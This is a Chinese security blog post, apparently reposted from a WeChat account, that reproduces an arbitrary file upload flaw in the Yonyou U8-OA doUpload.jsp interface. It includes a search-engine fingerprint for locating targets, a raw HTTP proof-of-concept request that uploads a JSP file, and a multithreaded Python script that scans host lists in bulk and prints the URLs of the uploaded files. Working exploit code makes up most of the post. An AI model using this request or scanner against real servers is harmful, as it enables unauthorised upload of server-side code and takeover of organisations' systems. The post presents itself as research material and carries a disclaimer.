产品简介
用友U8-OA协同管理软件定位于企事业组织行为管理的需求,融入现金的协同管理理念,为企事业组织提供了一个协同办公门户和管理平台,涵盖了组织运营所涉及的协作管理、审批管理、公文管理、知识管理、文化建设、资源管理等关键内容,支持企事业组织的信息化扩展应用,能有效帮助组织解决战略落地、管理规范、公文流转、知识共享、文化建设、资源整合等难题,提升办公效率、实现资源共享、降低组织管理成本,全面提升企业核心竞争力。U8-OA能够帮助企业实现业务数据互通互联,减少用户数据重复录入、保持数据一致性和完整性;还能够实现企业业务流程互通互联,业务系统数据在协同系统中审批,满足企业的复杂业务需求,帮助企业管理者依据企业数据快速做出决策
漏洞简介
用友U8-OA协同工作系统doUpload.jsp接口存在任意文件上传漏洞,攻击者可利用该漏洞获取服务器控制权限。
指纹识别
"用友U8 Cloud" zoomeye:app:
漏洞验证
poc:
POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75
Host:
Upgrade-Insecure-Requests: 1
Content-Length: 217
--7b1db34fff56ef636e9a5cebcd6c9a75
Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
Content-Type: application/octet-stream
<% out.println("tteesstt1"); %>
--7b1db34fff56ef636e9a5cebcd6c9a75--
发送POC:
批量验证:
漏洞代码
#!/usr/bin/python3 # -*- coding:utf-8 -*- # author:MDSEC # from:https://github.com/MD-SEC/MDPOCS # fofa: title="用友U8-OA" # zoomeye: app:"yonyou U8" import ssl import sys import requests import csv import urllib3 import hashlib from concurrent.futures import ThreadPoolExecutor urllib3.disable_warnings() if len(sys.argv) != 2: print( '+----------------------------------------------------------------------------------------------------------+') print( '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') print( '+----------------------------------------------------------------------------------------------------------+') print( '+ USE: python3 <filename> <hosts.txt> +') print( '+ EXP: python3 YouDianCMS_image_upload_Upload_File_Poc.py url.txt +') print( '+----------------------------------------------------------------------------------------------------------+') sys.exit() proxysdata = { 'http': '127.0.0.1:8082' } def exp(host): if "http" in host: url = host else: url ="http://"+host host1=url.replace("http://","") host2=host1.replace("https://","") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", "Content-Type": "multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75", "Host": "%s" %host2, "Accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Upgrade-Insecure-Requests": "1" } data ="""--7b1db34fff56ef636e9a5cebcd6c9a75\r\nContent-Disposition: form-data; name="iconFile"; filename="info.jsp"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.println("tteesstt1"); %>\r\n--7b1db34fff56ef636e9a5cebcd6c9a75--""" vulurl = url + "/yyoa/portal/tools/doUpload.jsp" try: r = requests.post(vulurl, headers=headers,data=data,verify=False) if "null" not in r.text and "returnValue" in r.text: print(url+"/yyoa/portal/upload/"+r.text[-51:-34]) else: return 0 print (host+":false") except: return 0 print (host+":false") if __name__ == '__main__': file = sys.argv[1] data = open(file) reader = csv.reader(data) with ThreadPoolExecutor(50) as pool: for row in reader: pool.submit(exp, row[0])
原文始发于微信公众号(猫蛋儿安全):【漏洞复现】用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞【附POC】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论